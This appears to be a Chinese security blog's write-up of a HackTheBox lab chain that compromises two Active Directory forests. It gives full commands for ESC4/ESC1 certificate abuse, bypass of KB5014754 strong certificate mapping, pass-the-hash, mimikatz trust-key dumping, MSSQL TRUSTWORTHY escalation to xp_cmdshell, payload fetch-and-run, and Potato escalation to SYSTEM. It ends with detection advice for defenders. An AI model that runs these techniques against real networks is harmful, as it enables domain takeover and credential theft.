【实战复盘】Hackthebox-ProlabsMythicalCHAIN双域渗透全链:从ESC4到跨林信任再到SQL提权"

admin 2026-10-22 13:37:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【实战复盘】Hackthebox-Prolabs Mythical CHAIN 双域渗透全链:从 ESC4 到跨林信任再到 SQL 提权

网安之家-CyberHomestead

2026年10月19日 07:00
湖北

去阅读

【实战复盘】Hackthebox-Prolabs Mythical CHAIN 双域渗透全链 Writeup:从 ESC4 到跨林信任再到 SQL 提权

公众号公开版说明

1.本测试在 授权实验室环境( 订阅靶场)完成,遵守平台规则;2.为防止直接抄袭/作弊,全部 flag 值、NTLM 哈希、破解出的口令、登录凭据、域信任密钥、C2 服务端信息均已脱敏(以 <PLACEHOLDER> 形式标注)——每个实例这些值都不同,请自己在授权环境里动手推导;3.本文侧重原理 + 方法 + 命令形态,可直接用于学习与防御参考。


0. 靶标简介

Mythical CHAIN 是 VulnLab 的多机链式靶场:两台域控跨林互信(mythical-us.vl ⇆ mythical-eu.vl,单向信任),起点是 assumed breach——你拿到的不是扫描器,而是一个已经植入 DC01 的 Mythic C2 beacon(域用户上下文)。

攻面清单(复现后总结):

# 漏洞/弱点 位置
1 rsync 匿名可读模块 备份服务器
2 KeePass 弱主密码 + 库内存放域凭据 泄露的 it.kdbx
3 ESC4(证书模板可写)→ ESC1 AD CS Machine 模板
4 KB5014754 强映射绕过(SAN URI SID) KDC PKINIT
5 跨林信任密钥可导出 LSA Secrets
6 .NET 工具硬编码服务账号凭据 dev 共享
7 MSSQL msdb TRUSTWORTHY + db\_owner DC02 SQL Express
8 SeImpersonate → SYSTEM(Potato 家族) DC02 服务账户

1. 网络拓扑图(复现后测绘)

                        ┌────────────────────────────┐                        │   攻击机(VPN 接入 lab)      │                        │   redacted 198.18.x.x       │                        └─────────────┬──────────────┘                                      │ tun0(仅 lab 网段路由)        ┌─────────────────────────────┼─────────────────────────────┐        │                             │                             │┌───────▼────────┐            ┌───────▼────────┐            ┌───────▼────────┐│  C2 (Mythic)   │            │  192.168.25.0  │            │ 192.168.1.0/24 ││  <C2_SERVER>   │            │  OpenVPN/备份段 │            │  域内核心段     ││  :7443 HTTPS   │            │  .1 rsyncd     │            │                │└───────▲────────┘            │  (模块 mythical │   ┌────────▼──────┐ ┌──────▼────────┐        │                     │   匿名可读)     │   │ DC01          │ │ DC02          │        │ beacon 回调         └────────────────┘   │ .10 US 域控    │ │ .20 EU 域控   │        │ (HTTPS 加密)              ▲              │ + AD CS       │ │ + MSSQL 1433  │        └───────────────────────────│──────────────│ + beacon 🐝   │ │ dev 共享       │                     DC01--rsync 拉取│              └───────┬───────┘ └───────┬───────┘                                    └──────────────────────┴─────────────────┘                                                  192.168.1.0/24 互通                                                  单向林信任: EU → US                                                  (mythical-us$ 信任账户存于 EU)

关键路由结论:攻击机没有 192.168.1.0/24 的路由 → 一切域内动作必须经 beacon 投递(这也是本链自动化的根本动机)。


2. 第一步:beacon 稳态与信息收集

Mythic 登录(凭据略)后先做三件事:sleep 0 0(自动化的前提)、枚举回调、跑 SharpHound。

sleep 0 0execute_assembly SharpHound.exe -c All

BloodHound 结论:当前用户是普通域用户,无直接提权边 → 目光转向数据面(备份、共享)。


3. rsync 匿名模块 → flag + 密码库

DC01 上自带 cwrsync 客户端,直接用它列内网 rsync 服务:

cd C:\\_admin\\cwrsync\\binrsync.exe --list-only rsync://192.168.25.1rsync.exe -av rsync://192.168.25.1/mythical C:\\temp\\type C:\\temp\\flag.txt

收获:flag#1(MYTH{***})+ it.kdbx(KeePass v4 库)。

离线破解(在自己机器上):

./keepass4brute.sh it.kdbx rockyou-30.txt# [+] Password found: <KDBX_MASTER_PW>   ← rockyou 小列表即命中python3 -c \"from pykeepass import PyKeePass;kp=PyKeePass('it.kdbx',password='<KDBX_MASTER_PW>');[print(e.username,e.password) for e in kp.entries]\"# → domjoin : <DOMJOIN_PW>

💡 KDBX v4 用 keepass2john 会踩坑(不支持),直接用 KDF 感知的 keepass4brute。 💡 domjoin 凭据先做 LDAP 绑定复验再往下走,别拿假凭据浪费时间。


4. ESC4 → ESC1:证书模板的\"一跳转化\"

domjoin 能加域 → 用它造机器账户,机器账户对 Machine 模板有写权限(ESC4):

make_token mythical-us\\domjoin <DOMJOIN_PW>execute_assembly StandIn_v13_Net45.exe --computer <NAME> --make# → 机器账户密码 <MACHINE_ACCT_PW>
make_token mythical-us\\<NAME>$ <MACHINE_ACCT_PW># ESC4 双写:注入\"申请者自供 SAN\" + 给 Domain Users 注册权execute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ess --addexecute_assembly StandIn_v13_Net45.exe --ADCS --filter Machine --ntaccount \"mythical-us\\domain users\" --enroll --add

至此 ESC4 已转化为 ESC1:任意域用户可申请带任意 SAN 的 Machine 模板证书。


5. ★本文核心:KB5014754 强映射绕过(2025+ 补丁环境的 ESC1b)

5.1 为什么老打法死了

按 2025 年之前的教学流程,直接:

execute_assembly Certify.exe request /ca:dc01\\CA /template:Machine /altname:[email protected]_assembly Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /ptt /getcredentials

本实例得到的是:

[-] Kerberos error: KDC_ERR_CERTIFICATE_MISMATCH

定性过程(三条只读命令闭环):

reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Kdc /v StrongCertificateBindingEnforcementreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v CertificateMappingMethodsreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v UBR

结果:两个策略键均不存在(取默认) + 系统 build 20348.3692(2025-09 补丁级)→ StrongCertificateBindingEnforcement 默认已是 Full:UPN/SAN 弱绑定不再映射到账户。这就是 MISMATCH 的根因,跟你的证书格式、账户拼写都没关系(我都对照过,全是同样报错)。

5.2 绕过原理

KB5014754 时代 KDC 仍然接受显式 SID 绑定,两条路:

1.NTDS CA 安全扩展(1.3.6.1.4.1.311.25.2)——需要 CA 侧配合从请求复制;2.SAN URI tag:microsoft.com,2022-09-14:sid:<SID>——申请者自己写进 SAN,KDC 回退强映射。✅

老版 Certify 没有这个参数 → 去 SharpCollection 拉 v2.2.0+ 的 nightly:

execute_assembly Certify_v2.exe request \\  --ca dc01.mythical-us.vl\\mythical-us-DC01-CA \\  --template Machine \\  --subject CN=<NAME>,CN=Computers,DC=mythical-us,DC=vl \\  --upn [email protected] \\  --sid-url <US_DOMAIN_SID>-500

出票为无密码 PFX(省掉 openssl 转换,Linux 上根本解析不了它——无 MAC):

execute_assembly Rubeus.exe asktgt /user:Administrator \\  /certificate:C:\\Windows\\Temp\\cert.pfx /ptt /nowrap /getcredentials
[+] TGT request successful!  * NTLM :       ← 已脱敏

⚠️ 防御视角:这就是微软文档里要求监测的 tag:microsoft.com,2022-09-14:sid: URI——CA 侧对\"签发证书含 sid: URI 且 SID ≠ 请求者\"应该直接告警。


6. PTH 本机提权 → DC01 SYSTEM

powershell_import Invoke-TheHash.psd1Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator \\  -Hash  -Command \"c:\\programdata\\google\\update.exe\"

(WMIExec 在 DC 上会 WMI access denied,直接换 SMBExec。)服务创建即删,beacon 以 SYSTEM 重生 → flag#2 在 Administrator 桌面。


7. 跨林信任:密钥导出 + 信任账户 TGT

SYSTEM 下导出信任密钥(我用的是 C2 内置内存态 mimikatz,免落地):

mimikatz # lsadump::trust /patch# [ Out ] MYTHICAL-EU.VL -> MYTHICAL-US.VL#   * rc4_hmac_nt  <TRUST_KEY_RC4>     ← 每个实例随机,别抄别人的 writeup

用信任账户在 EU 域直接取票(单向信任的经典滥用):

execute_assembly Rubeus.exe asktgt /user:mythical-us$ /domain:mythical-eu.vl \\  /rc4:<TRUST_KEY_RC4> /nowrap /ptt[+] TGT request successful!
net view \\\\dc02.mythical-eu.vl# dev / NETLOGON / SYSVOLdir \\\\dc02.mythical-eu.vl\\dev# Autologon64.exe  getusers.exe

💡 我先重放了公开 walkthrough 里的信任密钥 → KDC_ERR_PREAUTH_FAILED。信任密码每实例随机,必须本机导。


8. dev 共享里的硬编码凭据

getusers.exe 是个 4KB 的 .NET 小工具,字符串表里就是明文 LDAP 绑定凭据:

copy /Y \\\\dc02.mythical-eu.vl\\dev\\getusers.exe C:\\Windows\\Temp\\powershell [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Windows\\Temp\\getusers.exe'))# 攻击机解码后提取 UTF-16 字符串:#   LDAP://dc02.mythical-eu.vl / svc_ldap / <SVC_PASSWORD>

实机跑一遍该 exe(能枚举出 28 个账号)即验证凭据活性。口令复用:svc\_sql 同密码(喷洒验证)。


9. MSSQL:TRUSTWORTHY + db\_owner → sysadmin → xp\_cmdshell

DC01 自带 go-sqlcmd(C:\\Program Files\\SqlCmd\\sqlcmd.exe):

make_token mythical-eu\\svc_sql <SVC_PASSWORD>sqlcmd -S tcp:192.168.1.20,1433 -E -C -i q1.sql
-- q1.sql:先看清自己是谁SELECT SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin');      -- 0USE msdb; SELECT IS_ROLEMEMBER('db_owner');              -- 1  ←SELECT is_trustworthy_on FROM sys.databases WHERE name='msdb';  -- 1  ←

条件齐了,教科书式三连:

-- q2.sqlUSE msdb;CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS  EXEC sp_addsrvrolemember 'MYTHICAL-EU\\svc_sql','sysadmin';EXEC sp_elevate_me;SELECT IS_SRVROLEMEMBER('sysadmin');                     -- 1 ✅EXEC sp_configure 'show advanced options',1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;EXEC xp_cmdshell 'whoami';   -- nt service\\mssql$sqlexpress @ dc02

10. 载荷投递 + Potato → DC02 SYSTEM → flag#3

DC01 开临时共享当投递点,xp\_cmdshell 拉取执行:

(DC01)net share hello=C:\\hello /grant:Everyone,READ   + 放入 beacon 副本(SQL) EXEC xp_cmdshell 'copy /Y \\\\192.168.1.10\\hello\\update.exe C:\\Windows\\Temp\\update.exe';       EXEC xp_cmdshell 'start \"\" \"C:\\Windows\\Temp\\update.exe\"';

💡 start 会让 sqlcmd 会话永久挂起(等子进程树)——判断成功的标志是新 callback 上线,不是命令回显。

mssql 服务账户持 SeImpersonate → Potato 提权(EfsPotato 无预编译,GodPotato 等价可用):

execute_assembly GodPotato-NET4.exe -cmd \"cmd /c whoami\"# [*] Find System Token : True → CurrentUser: NT AUTHORITY\\SYSTEMexecute_assembly GodPotato-NET4.exe -cmd \"C:\\Windows\\Temp\\update.exe\"

最后收割:

mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswords# 用户 root 的 Password 字段 = MYTH{***}   ← flag#3(已脱敏)

11. 渗透测试拓扑图(攻击路径全景)

[Assumed Breach: 域用户 beacon @DC01]   │   ├─① rsync 匿名读 ──▶ flag#1 + it.kdbx   │                        │   │                        ▼   ├─② 字典爆破 KDBX ──▶ domjoin 凭据   │                        │   │                        ▼   ├─③ StandIn 造机器账户 ──▶ <NAME>$ (Domain Computers)   │                        │   │                        ▼   ├─④ ESC4 双写模板 ──▶ ESC1 就绪(自供 SAN)   │                        │   │                        ▼   ├─⑤ Certify v2 --sid-url ──▶ Administrator 伪证书   │    ⚠ SCBE=Full 绕过点 (KB5014754 / SAN URI SID)   │                        │   │                        ▼   ├─⑥ PKINIT+U2U ──▶    │                        │   │                        ▼   ├─⑦ Invoke-SMBExec ([email protected]) ──▶ DC01 SYSTEM ──▶ flag#2   │                        │   │                        ▼   ├─⑧ lsadump::trust ──▶ <TRUST_KEY>   │                        │   │                        ▼   ├─⑨ asktgt mythical-us$@EU ──▶ EU TGT ──▶ dev 共享   │                        │   │                        ▼   ├─⑩ getusers.exe 字符串表 ──▶ svc_ldap/svc_sql 凭据   │                        │   │                        ▼   ├─⑪ msdb db_owner+TRUSTWORTHY ──▶ sysadmin ──▶ xp_cmdshell (DC02)   │                        │   │                        ▼   ├─⑫ SMB 共享投递 ──▶ beacon@DC02 (服务账户)   │                        │   │                        ▼   ├─⑬ GodPotato (SeImpersonate) ──▶ DC02 SYSTEM   │                        │   └─⑭ sekurlsa::logonpasswords ──▶ flag#3

断链点分析:①②④⑤⑪⑬ 任一环节修复即阻断全链。最低成本四刀:rsync 加认证、模板 ACL 收敛、svc 密码独立化、msdb TRUSTWORTHY OFF。


12. 检测建议(给蓝队)

攻击跳 信号
模板改写 EID 5136:非 DA 主体改 msPKI-\*
伪证书签发 CA 4886/4890 + SAN 含 tag:microsoft.com,2022-09-14:sid: 且 SID≠请求者
PKINIT 异常 EID 4768:证书认证 + 高价值账户 + 非常用源主机
PTH/服务创建 4624(type3 NTLM) + 7045 随机短名服务
信任密钥读取 LSASS 访问(Sysmon EID 10)+ RunAsPPL
信任账户取票 EID 4768:账户形如 DOMAIN$
SQL 提权 Audit:msdb 内 CREATE PROC…EXECUTE AS + sp\_addsrvrolemember 组合
Potato Sysmon EID 1:服务子进程连 \\\\.\\pipe\\*\\pipe\\epmapper

13. 复盘一句话

老 walkthrough 的 /altname 一条路在 2025+ 补丁实例上必死(SCBE=Full); 新钥匙是 SAN URI SID;信任密钥每实例随机,抄作业没有出路—— 看报错查策略面(补丁/注册表)优先于换 payload 变体,是这次最大的方法论收获。


⚠️ 免责声明:本文仅在授权实验室环境完成并复现,所有敏感值(flag/哈希/口令/密钥/C2 信息)已脱敏,请勿用于未授权用途。转载请注明出处。

    【实战复盘】Hackthebox-ProlabsMythicalCHAIN双域渗透全链:从ESC4到跨林信任再到SQL提权" 网络安全文章

    【实战复盘】Hackthebox-ProlabsMythicalCHAIN双域渗透全链:从ESC4到跨林信任再到SQL提权"

    本文复盘HacktheboxProlabsMythicalCHAIN双域渗透全链实战,从已控DC01的beacon出发,经rsync匿名读取获取KeePass库并破解弱口令,利用ESC4将证书模板转化为ESC1,并绕过KB5014754强映射限制(SANURISID),获取域管权限;随后导出跨林信任密钥,利用信任账户进入EU域,最终通过MSSQLTRUSTWORTHY与SeImpersonate提权至SYSTEM。文章提供完整命令形态与防御视角,强调授权环境与脱敏原则,实操与教学价值高。
    你刷的每条广告,可能都是一次零点击黑客攻击" 网络安全文章

    你刷的每条广告,可能都是一次零点击黑客攻击"

    CitizenLab披露名为AdFection的零点击攻击,以色列公司Discover-Tech伪装成正规广告商,通过在线广告供应链分发Candiru等雇佣间谍软件,用户无需点击即可被感染,影响半岛电视台、美国国防部等敏感机构。文章建议及时打补丁、部署移动威胁防护、监控异常流量、限制广告追踪并加强供应商尽调,强调监管需介入修补系统性风险。
    吓哭了,赏金图贴成小火炬师傅的了" 网络安全文章

    吓哭了,赏金图贴成小火炬师傅的了"

    隐雾安全团队发布文章,因误将他人赏金截图当作自己成果展示而道歉,随后补发自身漏洞赏金成果、学员漏洞收录评级及项目产出截图,并推广第11期SRC漏洞挖掘实战训练营课程,强调AI是普通人最大杠杆,引导用户咨询报名。
    评论:0   参与:  0